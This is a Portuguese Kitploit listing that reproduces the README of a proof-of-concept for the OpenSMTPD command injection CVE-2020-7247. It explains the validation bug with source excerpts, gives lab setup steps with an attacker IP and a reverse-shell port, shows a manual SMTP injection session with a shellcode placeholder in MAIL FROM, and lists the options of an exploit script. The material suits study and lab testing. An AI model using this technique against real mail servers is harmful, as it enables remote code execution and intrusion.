Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-7247-POC — Prova de conceito para CVE-2020-7247 para fins educacionais. | Kitploit
Ferramentas/GitHubGitHub/simonschoeni/cve-2020-7247-poc
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsSegurança de Email
GitHubsimonschoeni/cve-2020-7247-poc

CVE-2020-7247-POC

Prova de conceito para CVE-2020-7247 para fins educacionais.

Ver Repositório
23há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
  • Prefácio
  • Factos principais sobre o exploit
  • Instalação do servidor vulnerável
    • Configuração
    • Isenções de ambiente
  • Exploit
    • Exploração manual
    • Exploração com script

Prefácio

Este repositório deve servir como base para configurar e explorar CVE-2020-7247 num ambiente controlado e privado. Todo o código e configuração publicados são exclusivamente destinados a testar esta vulnerabilidade e não para a abusar contra sistemas que não são seus ou para os quais não tem permissão para explorar. O proprietário deste repositório não é responsável pela utilização destas ferramentas por terceiros.

Factos principais sobre o exploit

O principal problema no código é que a validação de correio não funciona. Permite que caracteres potencialmente perigosos sejam passados nos campos MAIL FROM e RCPT TO.
Se a parte local do endereço de correio for inválida, é tratada como válida porque o código adiciona a parte do domínio e a interpreta como válida depois disso. Isto permite ao atacante executar código arbitrário.

root@kitploit:~
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2229                 if (maddr->domain[0] == '\0') {
2230                         (void)strlcpy(maddr->domain, domain,
2231                             sizeof(maddr->domain));
2232                         return (1);
2233                 }
2234                 return (0);
2235         }
2236
2237         return (1);
2238 }

Para estar seguro, o código deve ser assim:

root@kitploit:~
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2234                 return (0);
2235         }
2236
2237         return (1);
2238 }

O Opensmtpd executa então um chamado comando MDA. O comando é usado para entregar correio. Tem a seguinte aparência:

root@kitploit:~
asprintf(&dispatcher->u.local.command,
            "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");

Aqui já pode ver o problema. mbox.from é o endereço do remetente, que está sob total controlo do atacante.
O atacante está, no entanto, limitado a usar apenas caracteres no shellcode que não estejam na seguinte lista: !#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
Divulgado completamente aqui

Instalação do servidor vulnerável

É livre para escolher a distribuição onde executar o servidor. Eu testei no Ubuntu 18.04 LTS.
Execute chmod +x setup.sh para tornar o script de configuração executável. Pode usá-lo com um utilizador normal, pois apenas incluí direitos sudo no script sempre que necessário. (Claro que o seu utilizador precisa de ser um sudoer)
O script de configuração irá instalar todas as dependências necessárias para o smtpd e copiar a configuração para os respetivos locais.
O Opensmtpd 6.6.1 será instalado. \ Se precisar de executar o openstmpd manualmente ou o script tiver algum erro, execute o seguinte:

root@kitploit:~
cd /usr/local/sbin
sudo smtpd
OR 
sudo smtpd -dv for debugging output

Configuração

A configuração neste repositório é apenas para testes locais. Não inclui domínios externos/configuração avançada.
aliases e smtpd.conf são os dois ficheiros de configuração necessários para a configuração deste servidor. É livre de os alterar como quiser. Tenha em mente que a configuração foi feita para o meu servidor de teste. O nome do meu servidor era ase (diretiva @ase no smtpd.conf) e o meu nome de utilizador era ase (configuração de utilizador nos aliases).
Terá de substituir <YOUR IP> em smtpd.conf pelo IP do seu servidor. Caso contrário, o smtpd não será iniciado.

Isenções de ambiente

Caso encontre algum endereço IP e portas neste ambiente, aqui estão alguns factos principais sobre o ambiente que usei para que os possa alterar em conformidade:

  • Nome do servidor: ase
  • Nome de utilizador: ase
  • IP do servidor SMTPD: 192.168.1.40
  • Porta SMTPD: 25
  • IP do atacante: 192.168.1.31
  • Porta para reverse shell: 1337

Exploit

O exploit fornecido usa Python 3.x. Utiliza a dependência pwn. Para usar este exploit, precisa de instalar pwntools usando pip3 install pwntools.
Basicamente, o exploit explora automaticamente a vulnerabilidade sem necessitar de interação do utilizador. No entanto, o exploit pode ser feito manualmente sem o script Python.

Exploração manual

Como mencionado anteriormente, o exploit pode ser executado sem o script Python fornecido. Terá de seguir o processo SMTP manualmente. Isto pode ser feito usando netcat ou telnet.
Aqui está um exemplo de como pode ser feito manualmente:

root@kitploit:~
telnet <Your Servers IP> 25
HELO attacker
250 ase Hello attacker [<client IP>], pleased to meet you
MAIL FROM:<;INSERT YOUR SHELLCODE HERE;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

Oh no you got pwned
.
250 2.0.0 48bb34d2 Message accepted for delivery

Exploração com script

Pode também usar o script fornecido. Os seguintes parâmetros são possíveis:

  • --targetHost especifica o alvo e é obrigatório.
  • --targetPort especifica a porta alvo e é obrigatório.
  • --customCommand especifica o comando a injetar.

shellcode.py serve como exemplo de como um código de shell remoto pode ser. \

Exploit demo

Baixar ferramenta